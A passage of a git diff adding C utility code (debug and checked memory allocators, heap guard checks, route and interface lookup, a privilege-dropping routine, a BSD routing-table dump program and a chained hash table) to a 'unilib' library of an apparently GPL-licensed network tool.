+ old->file=NULL; + } + free(old); + old=NULL; + } + } + if (old != NULL) { + if (old->file != NULL) { + free(old->file); + old->file=NULL; + } + free(old); + old=NULL; + } + } + + return; +} + +static void display_char(FILE *out, char in) { + if (isgraph(in)) { + fprintf(out, "%c", in); + } + else { + switch (in) { + case '\n': + fprintf(out, "\\n"); break; + case '\v': + fprintf(out, "\\v"); break; + case '\t': + fprintf(out, "\\t"); break; + case '\f': + fprintf(out, "\\f"); break; + case '\r': + fprintf(out, "\\r"); break; + default: + fprintf(out, "\\x%02x", (uint8_t )in); + break; + } + } +} + +void xdebug_display_memory(FILE *out, void *in, size_t len) { + union { + char *c; + void *p; + } m_u; + size_t j=0; + + m_u.p=in; + + for (j=0 ; j < len ; j++) { + if (j != 0 && (j % 16) == 0) { + fprintf(out, "\n"); + } + display_char(out, *m_u.c); + m_u.c++; + } + + fprintf(out, "\n"); + + return; +} + +static void xdebug_verify_guard(void *p, size_t sz) { + union { + uint32_t *g; + uint8_t *c; + void *p; + } g_u; + + g_u.p=p; + + assert(p != NULL); + + if (*g_u.g != guard) { + PANIC("guard %08x != %08x, heap corruption", *g_u.g, guard); + } + + g_u.g++; + g_u.c += sz; + + if (*g_u.g != guard) { + PANIC("guard %08x != %08x, heap corruption", *g_u.g, guard); + } + + return; +} + +#ifdef _WRAP_ + +#include +#include +#include + +settings_t *s=NULL; + +int main(int argc, char ** argv) { + char *cow=NULL; + + s=(settings_t *)xmalloc(sizeof(settings_t)); + s->_stdout=stdout; + s->_stderr=stderr; + + cow=xstrdup("frog frog"); + fprintf(stderr, "%s\n", cow); + + xfree(cow); + + cow=xmalloc(16); + //memset(cow, 0x41, 17); + //memset(cow - 1, 0x41, 17); + + cow=xrealloc(cow, 32); + + memset(cow, 0x31, 32); + + xfree(cow); + + exit(0); +} + +#endif diff --git a/src/unilib/_xdebug.h b/src/unilib/_xdebug.h new file mode 100644 index 0000000..5ef227e --- /dev/null +++ b/src/unilib/_xdebug.h @@ -0,0 +1,46 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef XMALLOC_H + #define XMALLOC_H + +#define xfree(ptr) _xfree(ptr); ptr=NULL +#define _xfree(ptr) __xfree((ptr), __FILE__, __LINE__) +#define xmalloc(ptr) _xmalloc((ptr), __FILE__, __LINE__) +#define xrealloc(ptr, size) _xrealloc((ptr), (size), __FILE__, __LINE__) +#define xstrdup(ptr) _xstrdup((ptr), __FILE__, __LINE__) +#define xcalloc(nmemb, len) _xcalloc((nmemb), (len)) + +void *_xmalloc(size_t, const char *, unsigned int); +void *_xcalloc(size_t, size_t, const char *, unsigned int); +void *_xrealloc(void *, size_t, const char *, unsigned int); +void __xfree(void *, const char *, unsigned int); +char *_xstrdup(const char *, const char *, unsigned int); + +void *debug_malloc(size_t); +void *debug_calloc(size_t, size_t); +void *debug_realloc(void *, size_t); +void debug_free(void *); +char *debug_strdup(const char *); + +#define libc_malloc malloc +#define libc_strdup strdup +#define libc_realloc realloc +#define libc_free free +#define libc_calloc calloc +#endif diff --git a/src/unilib/_xmalloc.c b/src/unilib/_xmalloc.c new file mode 100644 index 0000000..441172c --- /dev/null +++ b/src/unilib/_xmalloc.c @@ -0,0 +1,68 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include + +void *_xrealloc(void *obuf, size_t n) { + void *p=NULL; + if (obuf == NULL) { + return _xmalloc(n); + } + if (n < 1) { + PANIC("attempt to increase allocation by 0 bytes"); + } + p=realloc(obuf, n); + if (p == NULL) { + PANIC("realloc fails"); + } + return p; +} + +void *_xmalloc(size_t n) { + void *p=NULL; + + if (n < 1) { + PANIC("attempt to allocate 0 or less bytes of memory"); + } + + p=malloc(n); + if (p == NULL) { + PANIC("malloc failed"); + } + return p; +} + +void _xfree(void *p) { + if (p == NULL) { + PANIC("attempt to free a NULL pointer"); + } + free(p); + return; +} + +char *_xstrdup(const char *p) { + char *_p=NULL; + + _p=strdup(p); + if (_p == NULL) { + PANIC("strdup failed"); + } + return _p; +} diff --git a/src/unilib/_xmalloc.h b/src/unilib/_xmalloc.h new file mode 100644 index 0000000..08449d8 --- /dev/null +++ b/src/unilib/_xmalloc.h @@ -0,0 +1,32 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef XMALLOC_H + #define XMALLOC_H + +#define xfree(ptr) _xfree(ptr); ptr=NULL +#define xmalloc(size) _xmalloc((size)) +#define xrealloc(ptr, size) _xrealloc(ptr, (size)) +#define xstrdup(str) _xstrdup(str) + +void *_xmalloc(size_t ); +void _xfree(void *); +void *_xrealloc(void *, size_t); +char *_xstrdup(const char *); + +#endif diff --git a/src/unilib/arch.c b/src/unilib/arch.c new file mode 100644 index 0000000..d23713f --- /dev/null +++ b/src/unilib/arch.c @@ -0,0 +1,249 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include + +#include + +#include +#include +#include + +#if 0 +#define ROUTE_FILE "/proc/net/route" + +#include + +#if defined(HAVE_PROC_NET_ROUTE) + +int get_default_route_interface(char **dev_name, uint32_t low_ip, uint32_t high_ip) { + FILE *route_file=NULL; + char devname[32], fbuf[128]; + int ret=0, flags=0, refcnt=0, use=0, metric=0, mtu=0; + uint32_t mask=0, gateway=0, dest=0; + + assert(dev_name != NULL); + + route_file=fopen(ROUTE_FILE, "r"); + if (route_file == NULL) { + ERR("open route file fails: %s", strerror(errno)); + return -1; + } + + if (fgets(fbuf, sizeof(fbuf) -1, route_file) == NULL) { + ERR("cant read route file: %s", strerror(errno)); + return -1; + } + + while (1) { + if (fgets(fbuf, sizeof(fbuf) -1, route_file) == NULL) break; + + memset(devname, 0, sizeof(devname)); + if (strlen(fbuf) < 5) continue; + /* If DstGw Fl RC U M Mask Mtu Window IRTT */ + if (sscanf(fbuf, "%31s %x %x %d %d %d %d %x %d", + devname, &dest, &gateway, &flags, &refcnt, &use, &metric, &mask, &mtu) >5) { + uint32_t route_low=0, route_high=0; + + route_low=ntohl(dest); + route_high=ntohl(dest) | ~(ntohl(mask)); + + if (route_low <= low_ip && route_high >= high_ip) { + + *dev_name=xstrdup(devname); + fclose(route_file); + + return 1; + } + + DBG(M_RTE, "route for %s dest %08x gateway %08x flags %d refcnt %d use %d metric %d mask %08x and mtu %d", devname, ntohl(dest), ntohl(gateway), flags, refcnt, use, metric, ntohl(mask), mtu); + } + } + fclose(route_file); + + return ret; +} + +#else + +#include +/* heh, ok its crunch time, lets hear it for pcap everyone! */ + +int get_default_route_interface(char **dev_name, uint32_t low_ip, uint32_t high_ip) { + char errbuf[PCAP_ERRBUF_SIZE]; + + memset(errbuf, 0, sizeof(errbuf)); + *dev_name=pcap_lookupdev(errbuf); + if (*dev_name == NULL) { + ERR("pcap_lookupdev fails: `%s'", errbuf); + return -1; + } + return 1; +} +#endif + +int get_interface_info(const char *iname, interface_info_t *ii) { + char buf[1024]; + union { + struct intf_entry *e; + char *buf; + } e_u; + uint32_t ipaddr=0; + uint8_t ethaddr[THE_ONLY_SUPPORTED_HWADDR_LEN]; + struct in_addr ia; + intf_t *intf=NULL; + + assert(iname != NULL && strlen(iname) && ii != NULL); + + memset(buf, 0, sizeof(buf)); + memset(ethaddr, 0, sizeof(ethaddr)); + + e_u.buf=buf; + + e_u.e->intf_len=sizeof(buf); + intf=intf_open(); + if (intf == NULL) { + ERR("cant open interface: %s", strerror(errno)); + return -1; + } + + memcpy(e_u.e->intf_name, iname, MIN(sizeof(e_u.e->intf_name) -1, strlen(iname))); + + if (intf_get(intf, e_u.e) < 0) { + ERR("cant get interface information: %s", strerror(errno)); + return -1; + } + + if (e_u.e->intf_addr.addr_type == ADDR_TYPE_IP) { + ipaddr=e_u.e->intf_addr.addr_ip; + } + + if (e_u.e->intf_link_addr.addr_type == ADDR_TYPE_ETH) { + memcpy(ethaddr, e_u.e->intf_link_addr.addr_data8, THE_ONLY_SUPPORTED_HWADDR_LEN); + } + + ii->mtu=e_u.e->intf_mtu; + memcpy(ii->hwaddr, ethaddr, THE_ONLY_SUPPORTED_HWADDR_LEN); + + sprintf(ii->hwaddr_s, "%02x:%02x:%02x:%02x:%02x:%02x", + ethaddr[0], ethaddr[1], ethaddr[2], + ethaddr[3], ethaddr[4], ethaddr[5] + ); + + ii->myaddr.sin_addr.s_addr=ipaddr; + ia.s_addr=ipaddr; + sprintf(ii->myaddr_s, "%s", inet_ntoa(ia)); + + DBG(M_RTE, "intf %s mtu %u addr %08x ethaddr %02x:%02x:%02x:%02x:%02x:%02x", + e_u.e->intf_name, e_u.e->intf_mtu, + ipaddr, + ethaddr[0], ethaddr[1], ethaddr[2], ethaddr[3], ethaddr[4], ethaddr[5] + ); + + return 1; +} + +#endif + +#ifdef WITH_SELINUX +int drop_privs(void) { + return 1; +} +#else +int drop_privs(void) { + struct passwd *pw_ent=NULL; + uid_t myuid; + gid_t mygid; + + pw_ent=getpwnam(NOPRIV_USER); + assert(pw_ent != NULL); + + myuid=pw_ent->pw_uid; + mygid=pw_ent->pw_gid; + + /* XXX audit open fd's */ + + if (chdir(CHROOT_DIR) < 0) { + ERR("chdir to `%s' fails", CHROOT_DIR); + return -1; + } + + if (chroot(CHROOT_DIR) < 0) { + ERR("chroot to `%s' fails", CHROOT_DIR); + return -1; + } + + if (chdir("/") < 0) { + ERR("chdir to / fails"); + return -1; + } + +#if defined(USE_SETRES) + if (setresgid(mygid, mygid, mygid) != 0) { + ERR("setresgid fails: %s", strerror(errno)); + return -1; + } + if (setresuid(myuid, myuid, myuid) != 0) { + ERR("setresuid fails: %s", strerror(errno)); + return -1; + } + +#elif defined(USE_SETRE) + if (setregid(mygid, mygid) != 0) { + ERR("setregid fails: %s", strerror(errno)); + return -1; + } + if (setreuid(myuid, myuid) != 0) { + ERR("setreuid fails: %s", strerror(errno)); + return -1; + } +#else + if (setgid(mygid) != 0) { + ERR("setgid fails: %s", strerror(errno)); + return -1; + } + if (setegid(mygid) != 0) { + ERR("setegid fails: %s", strerror(errno)); + return -1; + } + if (setuid(myuid) != 0) { + ERR("setuid fails: %s", strerror(errno)); + return -1; + } + if (seteuid(myuid) != 0) { + ERR("seteuid fails: %s", strerror(errno)); + return -1; + } +#endif + + /* better check? */ + if (getuid() != myuid || geteuid() != myuid) { + ERR("drop privs failed for uid"); + return -1; + } + if (getgid() != mygid || getegid() != mygid) { + ERR("drop privs failed for gid"); + return -1; + } + + return 1; +} +#endif diff --git a/src/unilib/arch.h b/src/unilib/arch.h new file mode 100644 index 0000000..7507ae2 --- /dev/null +++ b/src/unilib/arch.h @@ -0,0 +1,26 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _ARCH_H +# define _ARCH_H + +/* + */ +int drop_privs(void); + +#endif diff --git a/src/unilib/bsd-route.c b/src/unilib/bsd-route.c new file mode 100644 index 0000000..018a2c1 --- /dev/null +++ b/src/unilib/bsd-route.c @@ -0,0 +1,262 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +static void do_netroutes(void); +static char *rflags_tostr(int); +static char *addrs_tostr(int); +static char *cidr_saddrstr(const struct sockaddr *); + + +#define HAVE_STRUCT_SOCKADDR_LEN 1 + +/* + */ +#define ROUNDUP(a) \ + ((a) > 0 ? (1 + (((a) - 1) | (sizeof(long) - 1))) : sizeof(long)) + +#ifdef HAVE_STRUCT_SOCKADDR_LEN +#define NEXTSA(s) \ + ((struct sockaddr *)((u_char *)(s) + ROUNDUP((s)->sa_len))) +#else +#define NEXTSA(s) \ + ((struct sockaddr *)((u_char *)(s) + ROUNDUP(sizeof(*(s))))) +#endif + +int main(int argc, char **argv) { + + do_netroutes(); + + exit(0); +} + +/* + * based upon /usr/src/sbin/route.c from FreeBSD 4.7 + * if they do it this way, then i should too + */ + +static void do_netroutes(void) { + union { + void *p; + char *step; + struct rt_msghdr *rtm; + } r_u; + int mib[6]; + size_t alen=0; + void *end=NULL, *start=NULL; + struct sockaddr *ss=NULL; + + mib[0]=CTL_NET; + mib[1]=PF_ROUTE; + mib[2]=0; /* protocol */ + mib[3]=0; /* wildcard address family? */ + mib[4]=NET_RT_DUMP; /* */ + mib[5]=0; /* flags */ + + if (sysctl(mib, 6, NULL, &alen, NULL, 0) < 0) { + fprintf(stderr, "sysctl estimate memory size: %s\n", strerror(errno)); + return; + } + + assert(alen > 0); + + start=malloc(alen); assert(start != NULL); + end=start + alen; + r_u.p=start; + + if (sysctl(mib, 6, r_u.p, &alen, NULL, 0) < 0) { + fprintf(stderr, "sysctl giveittome! fails: %s\n", strerror(errno)); + free(start); + return; + } + + for (; r_u.p < end && r_u.rtm->rtm_msglen > 0; r_u.step += r_u.rtm->rtm_msglen) { + if (r_u.rtm->rtm_version != RTM_VERSION) { + continue; + } + + switch (r_u.rtm->rtm_type) { + case RTM_GET: + printf("route length %hu version %hu type %hu index %hu flags `%s' " + "addrs `%s' pid %d seq %08x errno %d use %u inits %ul\n", + r_u.rtm->rtm_msglen, r_u.rtm->rtm_version, r_u.rtm->rtm_type, + r_u.rtm->rtm_index, rflags_tostr(r_u.rtm->rtm_flags), + addrs_tostr(r_u.rtm->rtm_addrs), r_u.rtm->rtm_pid, + r_u.rtm->rtm_seq, + r_u.rtm->rtm_errno, r_u.rtm->rtm_use, r_u.rtm->rtm_inits + ); + ss=r_u.p + sizeof(*r_u.rtm); + for ( ss=r_u.p + sizeof(*r_u.rtm); + (char *)ss < r_u.step + (r_u.rtm->rtm_msglen - sizeof(r_u.rtm)); + ss=NEXTSA(ss) + ) { + printf("addr %s\n", cidr_saddrstr(ss)); + } + break; + + default: + fprintf(stderr, "hey there little guy! what is this? type %d\n", r_u.rtm->rtm_type); + break; + } + + } + + free(start); + return; +} + +#define S_APPEND(x) \ + if (out_off) { \ + sret=snprintf(out + out_off, sizeof(out) - (out_off + 1), ", %s", (x)); \ + out_off += sret; \ + } \ + else { \ + sret=snprintf(out, sizeof(out) -1, "%s", (x)); \ + out_off += sret; \ + } + +static char *addrs_tostr(int addrs) { + static char out[1024]; + unsigned int out_off=0; + int sret=0; + +#define ADDRS_ADD(x, y) \ + if (addrs & (x)) { \ + S_APPEND((y)); \ + addrs &= ~(x); \ + } + + ADDRS_ADD(RTA_DST, "dst addr present"); + ADDRS_ADD(RTA_GATEWAY, "gw addr present"); + ADDRS_ADD(RTA_NETMASK, "netmask addr present"); + ADDRS_ADD(RTA_GENMASK, "clone mask present"); + ADDRS_ADD(RTA_IFP, "int name addr present"); + ADDRS_ADD(RTA_IFA, "int addr present"); + ADDRS_ADD(RTA_AUTHOR, "addr for redirect author present"); + ADDRS_ADD(RTA_BRD, "broadcast/peer addr present"); + if (addrs) { + S_APPEND("some other nonsense i dont know about"); + } + + return out; +} + +static char *rflags_tostr(int flags) { + static char out[1024]; + unsigned int out_off=0; + int sret=0; + +#define RFLAGS_ADD(x, y) \ + if (flags & (x)) { \ + S_APPEND((y)); \ + flags &= ~(x); \ + } + + RFLAGS_ADD(RTF_UP, "usable"); + RFLAGS_ADD(RTF_GATEWAY, "gateway"); + RFLAGS_ADD(RTF_HOST, "host"); + RFLAGS_ADD(RTF_REJECT, "unrechable"); + RFLAGS_ADD(RTF_DYNAMIC, "dynamicly created"); + RFLAGS_ADD(RTF_MODIFIED, "dynamicly modified"); + RFLAGS_ADD(RTF_DONE, "message confirmed"); + RFLAGS_ADD(RTF_CLONING, "generate new on use"); + RFLAGS_ADD(RTF_XRESOLVE, "daemon is made of wood"); + RFLAGS_ADD(RTF_LLINFO, "generated by link"); + RFLAGS_ADD(RTF_STATIC, "static"); + RFLAGS_ADD(RTF_BLACKHOLE, "blackhole"); + RFLAGS_ADD(RTF_PROTO1, "protocol specific 1"); + RFLAGS_ADD(RTF_PROTO2, "protocol specific 2"); + RFLAGS_ADD(RTF_PROTO3, "protocol specific 3"); +#ifdef RTF_PRCLONING + RFLAGS_ADD(RTF_PRCLONING, "protocol needs cloning"); +#endif +#ifdef RTF_WASCLONED + RFLAGS_ADD(RTF_WASCLONED, "route is a clone!!!!!111on1o1!O1noeone"); +#endif +#ifdef RTF_PINNED + RFLAGS_ADD(RTF_PINNED, "timewarp!"); +#endif +#ifdef RTF_LOCAL + RFLAGS_ADD(RTF_LOCAL, "local"); +#endif +#ifdef RTF_BROADCAST + RFLAGS_ADD(RTF_BROADCAST, "broadcast"); +#endif +#ifdef RTF_MULTICAST + RFLAGS_ADD(RTF_MULTICAST, "multicast"); +#endif + if (flags) { + S_APPEND("some other nonsense i dont know about"); + } + + return out; +} + +#ifdef HAVE_STRUCT_SOCKADDR_LEN +struct f_s { + uint8_t len; + uint8_t family; +}; +#else +struct f_s { + uint16_t family; +}; +#endif + +static char *cidr_saddrstr(const struct sockaddr *in) { + union { + struct f_s *fs; + const struct sockaddr *s; + const struct sockaddr_in *sin; + const struct sockaddr_in6 *sin6; +#ifdef AF_LINK + const struct sockaddr_dl *dl; +#endif + } s_u; + static char nbuf[256], *ret=NULL; + const void *p=NULL; + + if (in == NULL) { + return NULL; + } + + s_u.s=in; + + switch (s_u.fs->family) { + case AF_INET: + p=&s_u.sin->sin_addr; + break; + + case AF_INET6: + p=&s_u.sin6->sin6_addr; + break; + +#ifdef AF_LINK + case AF_LINK: + return link_ntoa(s_u.dl); + break; +#endif + + default: + snprintf(nbuf, sizeof(nbuf) -1, "unknown address family `%d'", s_u.fs->family); + return nbuf; + } + + ret=inet_ntop(s_u.fs->family, p, nbuf, sizeof(nbuf) - 1); /* GAH */ + if (ret == NULL) { + fprintf(stderr, "inet_ntop fails: %s", strerror(errno)); + return NULL; + } + + return ret; +} diff --git a/src/unilib/chtbl.c b/src/unilib/chtbl.c new file mode 100644 index 0000000..63cc04c --- /dev/null +++ b/src/unilib/chtbl.c @@ -0,0 +1,344 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include + +#ifdef DEBUG +# define __DBG(fmt, args...) \ + fprintf(stderr, "DEBUG[%s at %s:%d]: ", __FUNCTION__, __FILE__, __LINE__);\ + fprintf(stderr, fmt, ## args); \ + fprintf(stderr, "\n"); +#else +# define __DBG(fmt, args...) +#endif + +#define chead chtbl_head_t +#define cnode chtbl_node_t + +#define CHTMAGIC (uint32_t)0x4298ac32 + +#define MALLOC(x) xmalloc(x) +#define FREE(x) xfree(x) + +typedef struct cnode { + void *data; + uint64_t key; + struct cnode *next; +} cnode; + +typedef struct chead { + uint32_t magic; + uint32_t tsize; + uint32_t size; + cnode **table; +} chead; + +static uint32_t s_tbl[]={ +0x00000002, 0x00000003, 0x00000005, 0x00000007, 0x0000000b, +0x0000000d, 0x00000011, 0x00000013, 0x00000017, 0x0000001d, +0x00000025, 0x00000029, 0x0000002f, 0x00000035, 0x0000003b, +0x00000043, 0x0000004f, 0x00000059, 0x00000065, 0x00000071, +0x0000007f, 0x00000095, 0x000000a7, 0x000000bf, 0x000000df, +0x000000fb, 0x00000119, 0x00000139, 0x0000015b, 0x00000185, +0x000001b1, 0x000001e7, 0x0000021d, 0x00000259, 0x000002a1, +0x000002ef, 0x00000347, 0x000003a9, 0x00000419, 0x00000493, +0x00000515, 0x000005a7, 0x00000647, 0x000006fb, 0x000007c3, +0x0000089f, 0x0000099b, 0x00000ab5, 0x00000be9, 0x00000d3d, +0x00000eb7, 0x00001069, 0x00001241, 0x0000144d, 0x00001693, +0x00001915, 0x00001bef, 0x00001f0d, 0x00002285, 0x00002665, +0x00002ab9, 0x00002f7d, 0x000034c9, 0x00003aa9, 0x00004133, +0x00004879, 0x00005093, 0x00005989, 0x0000637d, 0x00006e93, +0x00007aed, 0x000088a5, 0x000097d3, 0x0000a8b5, 0x0000bb91, +0x0000d069, 0x0000e791, 0x0001014b, 0x00011de5, 0x00013db3, +0x00016103, 0x00018841, 0x0001b3d9, 0x0001e44b, 0x00021a2b, +0x00025601, 0x00029873, 0x0002e247, 0x0003345b, 0x00038f83, +0x0003f4cd, 0x00046559, 0x0004e265, 0x00056d55, 0x000607b5, +0x0006b353, 0x000771fd, 0x000845c5, 0x00093121, 0x000a36af, +0x000b5943, 0x000c9c17, 0x000e02cf, 0x000f9157, 0x00114c35, +0x00133849, 0x00155afb, 0x0017ba75, 0x001a5d6b, 0x001d4b5f, +0x00208caf, 0x00242a95, 0x00282f55, 0x002ca661, 0x00319c75, +0x00371fa1, 0x003d3f9d, 0x00440dcd, 0x004b9d91, 0x0054046f, +0x005d5a47, 0x0067b9a9, 0x00734017, 0x00800e55, 0x008e48d9, +0x009e1811, 0x00afa909, 0x00c32da1, 0x00d8dd5f, 0x00f0f5f9, +0x010bbc11, 0x01297bc1, 0x014a89a5, 0x016f43c5, 0x01981279, +0x01c569f5, 0x01f7cb3d, 0x022fc561, 0x026df7e5, 0x02b31393, +0x02ffdceb, 0x03552e5d, 0x03b3fab5, 0x041d4f73, 0x04925851, +0x0514622b, 0x05a4def1, 0x0645698b, 0x06f7caa1, 0x00000000, +}; + +#define THASH(x, y) \ + ((x) % (y)) + +/* exported */ +void *chtinit(uint32_t exp_size) { + union { + void *ptr; + chead *th; + } h_u; + uint32_t j=0; + + for (j=0; s_tbl[j] != 0; j++) { + if (s_tbl[j] > exp_size) { + exp_size=s_tbl[j]; + break; + } + } + + h_u.ptr=MALLOC(sizeof(chead)); + h_u.th->magic=CHTMAGIC; + h_u.th->tsize=0; + h_u.th->size=exp_size; + h_u.th->table=(cnode **)MALLOC(sizeof(cnode *) * exp_size); + for (j=0; j < exp_size; j++) { + h_u.th->table[j]=(cnode *)NULL; + } + __DBG("init()'ed a table with expected size of %u", exp_size); + + return h_u.ptr; +} + +uint32_t chtsize(void *lh) { + union { + void *ptr; + chead *th; + } h_u; + + assert(lh != NULL); + h_u.ptr=lh; + assert(h_u.th->magic == CHTMAGIC); + + return h_u.th->size; +} + +void chtdestroy(void *lh) { + union { + void *ptr; + chead *th; + } h_u; + uint32_t j=0; + cnode *n=NULL, *save=NULL; + + assert(lh != NULL); + h_u.ptr=lh; + assert(h_u.th->magic == CHTMAGIC); + + if (h_u.th->tsize == 0) { + return; + } + + for (j=0; j < h_u.th->size; j++) { + __DBG("freeing bucket %u\n", j); + n=h_u.th->table[j]; + if (n == NULL) continue; /* nothing to see here, please move along */ + while (n->next != NULL) { + save=n; + n=n->next; + __DBG("deleting node in chain"); + FREE(save); + save=NULL; + } + __DBG("deleting last node in chain"); + FREE(n); + } + + FREE(h_u.th->table); + FREE(h_u.ptr); + h_u.ptr=NULL; + + return; +} + +uint32_t chtgetsize(void *th) { + union { + void *ptr; + chead *th; + } h_u; + assert(th != NULL); + h_u.ptr=th; + assert(h_u.th->magic == CHTMAGIC); + + return h_u.th->tsize; +} + +int chtinsert(void *th, uint64_t key, void *data) { + union { + void *ptr; + chead *th; + } h_u; + uint32_t offset=0; + cnode *bucket=NULL, *newn=NULL, *prev=NULL; + + assert(data != NULL); + assert(th != NULL); + h_u.ptr=th; + assert(h_u.th->magic == CHTMAGIC); + + offset=THASH(key, h_u.th->size); + + bucket=h_u.th->table[offset]; + + while (bucket != NULL && key != bucket->key) { + prev=bucket; + bucket=bucket->next; + } + if (bucket != NULL && bucket->key == key) { + return CHEXIT_KEYCOLLIDE; + } + + newn=(cnode *)MALLOC(sizeof(cnode)); + newn->key=key; + newn->data=data; + + if (!(prev)) { + h_u.th->table[offset]=newn; + } + else { + prev->next=newn; + } + newn->next=NULL; + ++h_u.th->tsize; + + return CHEXIT_SUCCESS; +} + +int chtdelete(void *th, uint64_t key) { + union { + void *ptr; + chead *th; + } h_u; + uint32_t offset=0; + cnode *bucket=NULL, *prev=NULL; + + assert(th != NULL); + h_u.ptr=th; + assert(h_u.th->magic == CHTMAGIC); + + offset=THASH(key, h_u.th->size); + bucket=h_u.th->table[offset]; + + while (bucket != NULL && bucket->key != key) { + prev=bucket; + bucket=bucket->next; + } + if (bucket == NULL || bucket->key != key) { + return CHEXIT_FAILURE; + } + if (prev != NULL) { + prev->next=bucket->next; + } + else { + h_u.th->table[offset]=bucket->next; + } + FREE(bucket->data); + FREE(bucket); + --h_u.th->tsize; + + return CHEXIT_SUCCESS; +} + +void chtwalk(void *th, void (*wf)(uint64_t, void *), int ignore) { + union { + void *ptr; + chead *th; + } h_u; + uint32_t j=0; + cnode *n=NULL; + + assert(th != NULL); + h_u.ptr=th; + assert(h_u.th->magic == CHTMAGIC); + + if (h_u.th->tsize == 0) { + return; + } + + for (j=0; j < h_u.th->size; j++) { + n=h_u.th->table[j]; + if (n == NULL) { + continue; /* nothing to see here, please move along */ + } + wf(n->key, n->data); + for (n=n->next; n != NULL; n=n->next) { + wf(n->key, n->data); + } + } + + return; +} + +int chtfind(void *th, uint64_t key, void **udata) { + union { + void *ptr; + chead *th; + } h_u; + uint32_t offset=0; + cnode *bucket=NULL, *prev=NULL; + + assert(th != NULL); + h_u.ptr=th; + assert(h_u.th->magic == CHTMAGIC); + + offset=THASH(key, h_u.th->size); + + for (bucket=h_u.th->table[offset]; bucket != NULL && bucket->key != key; bucket=bucket->next) { + prev=bucket; + } + + if (bucket == NULL || bucket->key != key) { + *udata=NULL; + return CHEXIT_FAILURE; + } + + *udata=bucket->data; + return CHEXIT_SUCCESS; +} + +#ifdef DEBUG +void chtstats(void *th) { + union { + void *ptr; + chead *th; + } h_u; + uint32_t j=0; + uint32_t clen=0; + cnode *step=NULL; + + assert(th != NULL); + h_u.ptr=th; + assert(h_u.th->magic == CHTMAGIC); + + printf("load %f [%u items in %u slots]\n", (float)(h_u.th->tsize / h_u.th->size), h_u.th->tsize, h_u.th->size); + + for (j=0; j < h_u.th->size; j++) { + if (h_u.th->table[j]) { + step=h_u.th->table[j]; ++clen; + while (step->next != NULL) { + ++clen; + step=step->next; + } + printf("%u [%u] ", j, clen); clen=0; + } + } +} +#endif + +#undef chead +#undef cnode diff --git a/src/unilib/chtbl.h b/src/unilib/chtbl.h new file mode 100644 index 0000000..fb0460b --- /dev/null +++ b/src/unilib/chtbl.h @@ -0,0 +1,37 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * 